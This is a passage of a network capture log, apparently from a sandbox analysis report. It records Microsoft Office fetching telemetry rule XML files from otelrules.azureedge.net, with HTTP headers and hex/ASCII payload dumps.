2024-12-09 05:50:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:12 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 317f678a-201e-0071-531d-49ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055012Z-r1cf579d7789jf56hC1EWRu58800000002s0000000000mnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.11	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:12 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:12 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055012Z-r1cf579d778lntp7hC1EWR9gg40000000710000000001pez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:13 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.11	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:12 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:13 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055013Z-r1cf579d7789trgthC1EWRkkfc000000087g00000000267t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:13 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.11	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:13 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:13 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055013Z-r1cf579d778bb9vvhC1EWRs9540000000700000000006mhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:13 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.11	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:13 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: d5bac437-e01e-0099-1d9c-49da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055014Z-r1cf579d778j4j5fhC1EWR3ge800000001100000000043hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.11	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:14 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055015Z-r1cf579d778w59f9hC1EWRze6w00000007qg000000004yb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.11	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:15 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:15 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055015Z-r1cf579d778w59f9hC1EWRze6w00000007u0000000002e6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:15 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.11	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:15 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:15 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055015Z-r1cf579d7786c2tshC1EWRr1gc0000000750000000003h6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:15 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.11	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:15 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:15 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 14cc3ccb-501e-000a-1004-490180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055015Z-r1cf579d778xr2r4hC1EWRqvfs00000007p0000000000hwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:15 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.11	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:16 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:16 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 217a7818-401e-00ac-3104-480a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055016Z-r1cf579d778t6txphC1EWRsd440000000800000000003hqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:16 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.11	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:17 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: cb126f1c-f01e-0003-5ec0-494453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055017Z-r1cf579d778mpnwnhC1EWRfgng000000018g000000000n72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:50:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.11	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:17 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 4ada8ea2-401e-0064-580d-4954af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055017Z-r1cf579d778xr2r4hC1EWRqvfs00000007p0000000000k17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" 